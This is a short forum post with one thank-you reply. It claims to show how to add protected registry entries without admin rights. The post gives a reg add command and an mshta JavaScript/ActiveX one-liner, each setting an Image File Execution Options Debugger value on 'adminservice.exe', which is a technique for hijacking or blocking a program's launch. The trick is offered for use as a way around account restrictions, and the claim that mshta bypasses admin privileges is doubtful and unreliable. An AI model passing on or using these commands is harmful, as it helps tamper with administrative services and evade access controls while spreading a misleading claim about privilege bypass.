How to add registry entries without admin privileges (1 Viewer)

[pqoss]

Until recently it wasn't possible to add registry keys without privilege escalation in command prompt. A user to do this in a limited account needed to have access to the admin group. Here is a batch example that add registry keys if command prompt was executed as Admin. (If the command prompt isn't executed as Admin the system will deny those entries)

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\adminservice.exe" /v Debugger /t REG_SZ /d "ntsd -d" /f

The solution to add registry keys in a restricted environment is using mshta.

mshta "javascript:var exec = 'ntsd -d'; var Shell = new ActiveXObject('WScript.Shell'); Shell.RegWrite('HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\adminservice.exe\\Debugger',exec);close()"

This workaround creates a ActiveX Object that add the registry keys without having admin privileges.

 

[Nobody]

Thank you bro